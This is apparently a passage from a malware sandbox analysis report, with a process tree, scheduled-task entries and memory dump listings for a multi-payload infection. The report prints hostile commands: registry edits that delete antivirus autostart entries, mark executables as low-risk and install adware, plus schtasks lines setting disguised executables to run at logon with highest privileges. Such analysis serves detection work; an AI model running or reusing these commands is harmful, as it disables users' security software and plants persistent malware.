"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )
            4⤵
              PID:5016
      • C:\Users\Admin\AppData\Local\Temp\9738.exe
        C:\Users\Admin\AppData\Local\Temp\9738.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        PID:2544
        • C:\Users\Admin\AppData\Local\Temp\9738.exe
          C:\Users\Admin\AppData\Local\Temp\9738.exe
          2⤵
          • Executes dropped EXE
          PID:5108
      • C:\Users\Admin\AppData\Local\Temp\9B8E.exe
        C:\Users\Admin\AppData\Local\Temp\9B8E.exe
        1⤵
        • Executes dropped EXE
        PID:3644
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 732
          2⤵
          • Program crash
          • Suspicious use of AdjustPrivilegeToken
          PID:3464
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 744
          2⤵
          • Program crash
          • Suspicious use of AdjustPrivilegeToken
          PID:1820
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 844
          2⤵
          • Program crash
          • Suspicious use of AdjustPrivilegeToken
          PID:2132
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 880
          2⤵
          • Program crash
          PID:1796
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 788
          2⤵
          • Suspicious use of NtCreateProcessExOtherParentProcess
          • Program crash
          PID:1800
      • C:\Users\Admin\AppData\Local\Temp\9E9C.exe
        C:\Users\Admin\AppData\Local\Temp\9E9C.exe
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2716
      • C:\Users\Admin\AppData\Local\Temp\A63E.exe
        C:\Users\Admin\AppData\Local\Temp\A63E.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1588
      • C:\Users\Admin\AppData\Local\Temp\AB50.exe
        C:\Users\Admin\AppData\Local\Temp\AB50.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        PID:3020
        • C:\Users\Admin\AppData\Local\Temp\AB50.exe
          C:\Users\Admin\AppData\Local\Temp\AB50.exe
          2⤵
          • Executes dropped EXE
          PID:4812
          • C:\Users\Admin\AppData\Local\Temp\AB50.exe
            "C:\Users\Admin\AppData\Local\Temp\AB50.exe"
            3⤵
            • Executes dropped EXE
            PID:4116
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:940
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe
          1⤵
            PID:3832
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1796
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            1⤵
              PID:3884
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              1⤵
                PID:4160
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:4192
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:4248
                  • C:\Windows\explorer.exe
                    C:\Windows\explorer.exe
                    1⤵
                      PID:4336
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:4568
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "install" /sc ONLOGON /tr "'C:\ProgramData\Data\GPU\install.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Creates scheduled task(s)
                        PID:4392
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Users\Public\Videos\wininit.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Creates scheduled task(s)
                        PID:4416
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "SearchUI" /sc ONLOGON /tr "'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.UI\SearchUI.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Creates scheduled task(s)
                        PID:4484
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Windows\System32\usp10\taskhostw.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Creates scheduled task(s)
                        PID:4648
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\All Users\regid.1991-06.com.microsoft\conhost.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Creates scheduled task(s)
                        PID:4664
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\twain_32\explorer.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Creates scheduled task(s)
                        PID:4492
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "SearchUI" /sc ONLOGON /tr "'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\WindowsPhoneReservedAppInfo\SearchUI.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Creates scheduled task(s)
                        PID:4740
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Windows\System32\wbem\OfflineFilesConfigurationWmiProvider\WmiPrvSE.exe'" /rl HIGHEST /f
                        1⤵
                        • Process spawned unexpected child process
                        • Creates scheduled task(s)
                        PID:4496

                      Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            memory/940-206-0x0000000000E60000-0x0000000000ECB000-memory.dmp
                            Download

                            memory/940-204-0x0000000003350000-0x00000000033C4000-memory.dmp
                            Download

                            memory/1584-151-0x0000000000400000-0x0000000000919000-memory.dmp
                            Download

                            memory/1584-150-0x00000000009F0000-0x0000000000A2B000-memory.dmp
                            Download

                            memory/1588-251-0x00000000070F0000-0x00000000070F1000-memory.dmp
                            Download

                            memory/1588-250-0x00000000069F0000-0x00000000069F1000-memory.dmp
                            Download

                            memory/1588-202-0x0000000005480000-0x0000000005A86000-memory.dmp
                            Download

                            memory/1588-182-0x0000000000CF0000-0x0000000000CF1000-memory.dmp
                            Download

                            memory/1796-223-0x0000000000800000-0x000000000080B000-memory.dmp
                            Download

                            memory/1796-221-0x0000000000810000-0x0000000000817000-memory.dmp
                            Download

                            memory/1832-183-0x0000000000400000-0x0000000000919000-memory.dmp
                            Download

                            memory/2284-650-0x000001F9F0D60000-0x000001F9F0D80000-memory.dmp
                            Download

                            memory/2284-649-0x000001F9F0D40000-0x000001F9F0D60000-memory.dmp
                            Download

                            memory/2284-609-0x000001F9F0D20000-0x000001F9F0D40000-memory.dmp
                            Download

                            memory/2284-596-0x00007FFAC9410000-0x00007FFAC9412000-memory.dmp
                            Download

                            memory/2336-137-0x00000000007B0000-0x00000000007B1000-memory.dmp
                            Download

                            memory/2496-115-0x0000000000400000-0x0000000000409000-memory.dmp
                            Download

                            memory/2544-146-0x00000000001B0000-0x00000000001B1000-memory.dmp
                            Download

                            memory/2544-149-0x0000000004FF0000-0x0000000004FF1000-memory.dmp
                            Download

                            memory/2544-169-0x0000000004AF0000-0x0000000004FEE000-memory.dmp
                            Download

                            memory/2544-173-0x0000000004B50000-0x0000000004B51000-memory.dmp
                            Download

                            memory/2544-163-0x0000000004B90000-0x0000000004B91000-memory.dmp
                            Download

                            memory/2716-200-0x0000000000950000-0x0000000000A9A000-memory.dmp
                            Download

                            memory/2716-201-0x0000000000400000-0x0000000000946000-memory.dmp
                            Download

                            memory/2720-218-0x0000000007CC0000-0x0000000007CC1000-memory.dmp
                            Download

                            memory/2720-224-0x00000000070D0000-0x00000000070D1000-memory.dmp
                            Download

                            memory/2720-246-0x00000000092D0000-0x00000000092D1000-memory.dmp
                            Download

                            memory/2720-247-0x00000000091E0000-0x00000000091E1000-memory.dmp
                            Download

                            memory/2720-248-0x0000000009260000-0x0000000009261000-memory.dmp
                            Download

                            memory/2720-209-0x00000000075E0000-0x00000000075E1000-memory.dmp
                            Download

                            memory/2720-215-0x0000000007480000-0x0000000007481000-memory.dmp
                            Download

                            memory/2720-208-0x00000000049E0000-0x00000000049E1000-memory.dmp
                            Download

                            memory/2720-257-0x0000000004C23000-0x0000000004C24000-memory.dmp
                            Download

                            memory/2720-233-0x0000000008490000-0x0000000008491000-memory.dmp
                            Download

                            memory/2720-211-0x0000000004C20000-0x0000000004C21000-memory.dmp
                            Download

                            memory/2720-217-0x0000000007520000-0x0000000007521000-memory.dmp
                            Download

                            memory/2720-212-0x0000000004C22000-0x0000000004C23000-memory.dmp
                            Download

                            memory/2720-220-0x0000000007D30000-0x0000000007D31000-memory.dmp
                            Download

                            memory/2988-125-0x00000000009E0000-0x00000000009E1000-memory.dmp
                            Download

                            memory/3020-203-0x00000000026B0000-0x0000000002742000-memory.dmp
                            Download

                            memory/3020-192-0x00000000002A0000-0x00000000002A1000-memory.dmp
                            Download

                            memory/3024-117-0x0000000000C60000-0x0000000000C76000-memory.dmp
                            Download

                            memory/3288-585-0x0000000002FF0000-0x000000000308C000-memory.dmp
                            Download

                            memory/3288-136-0x0000000000400000-0x00000000004D8000-memory.dmp
                            Download

                            memory/3628-114-0x0000000000030000-0x000000000003A000-memory.dmp
                            Download

                            memory/3644-177-0x0000000000400000-0x0000000002CB1000-memory.dmp
                            Download

                            memory/3644-176-0x0000000002CC0000-0x0000000002E0A000-memory.dmp
                            Download

                            memory/3668-122-0x0000000000400000-0x00000000004D8000-memory.dmp
                            Download

                            memory/3760-174-0x0000000002DF0000-0x0000000002DF1000-memory.dmp
                            Download

                            memory/3760-167-0x0000000002EB0000-0x0000000002EB1000-memory.dmp
                            Download

                            memory/3760-179-0x0000000005250000-0x0000000005251000-memory.dmp
                            Download

                            memory/3760-141-0x0000000076E80000-0x000000007700E000-memory.dmp
                            Download

                            memory/3760-145-0x0000000000C30000-0x0000000000C31000-memory.dmp
                            Download

                            memory/3760-152-0x0000000005750000-0x0000000005751000-memory.dmp
                            Download

                            memory/3760-171-0x0000000002E60000-0x0000000002E61000-memory.dmp
                            Download

                            memory/3760-166-0x0000000000C00000-0x0000000000C01000-memory.dmp
                            Download

                            memory/3832-213-0x00000000001D0000-0x00000000001D7000-memory.dmp
                            Download

                            memory/3832-216-0x00000000001C0000-0x00000000001CC000-memory.dmp
                            Download

                            memory/3884-230-0x0000000000D90000-0x0000000000D99000-memory.dmp
                            Download

                            memory/3884-232-0x0000000000D80000-0x0000000000D8F000-memory.dmp
                            Download

                            memory/4116-702-0x0000000004BD0000-0x00000000050CE000-memory.dmp
                            Download

                            memory/4160-235-0x0000000000A30000-0x0000000000A35000-memory.dmp
                            Download

                            memory/4160-236-0x0000000000A20000-0x0000000000A29000-memory.dmp
                            Download

                            memory/4192-238-0x0000000000EC0000-0x0000000000ECC000-memory.dmp
                            Download

                            memory/4192-237-0x0000000000ED0000-0x0000000000ED6000-memory.dmp
                            Download

                            memory/4248-243-0x0000000000430000-0x0000000000439000-memory.dmp
                            Download

                            memory/4248-242-0x0000000000440000-0x0000000000444000-memory.dmp
                            Download

                            memory/4336-259-0x0000000000D20000-0x0000000000D29000-memory.dmp
                            Download

                            memory/4336-258-0x0000000000D30000-0x0000000000D35000-memory.dmp
                            Download

                            memory/4352-287-0x0000000009140000-0x000000000929B000-memory.dmp
                            Download

                            memory/4352-275-0x0000000004540000-0x0000000004541000-memory.dmp
                            Download

                            memory/4352-276-0x0000000004542000-0x0000000004543000-memory.dmp
                            Download

                            memory/4352-270-0x00000000078D0000-0x00000000078D1000-memory.dmp
                            Download

                            memory/4352-284-0x00000000096D0000-0x00000000096D1000-memory.dmp
                            Download

                            memory/4352-286-0x0000000004543000-0x0000000004544000-memory.dmp
                            Download

                            memory/4460-683-0x0000000005240000-0x000000000573E000-memory.dmp
                            Download

                            memory/4568-279-0x00000000033C0000-0x00000000033C9000-memory.dmp
                            Download

                            memory/4568-277-0x00000000033D0000-0x00000000033D5000-memory.dmp
                            Download

                            memory/4684-300-0x0000000004390000-0x0000000004391000-memory.dmp
                            Download

                            memory/4684-326-0x0000000004393000-0x0000000004394000-memory.dmp
                            Download

                            memory/4684-325-0x000000007F350000-0x000000007F351000-memory.dmp
                            Download

                            memory/4684-301-0x0000000004392000-0x0000000004393000-memory.dmp
                            Download

                            memory/4812-618-0x0000000000FD0000-0x0000000000FD1000-memory.dmp
                            Download

                            memory/4896-694-0x0000000004B80000-0x000000000507E000-memory.dmp
                            Download

                            memory/5108-373-0x0000000000400000-0x0000000000495000-memory.dmp
                            Download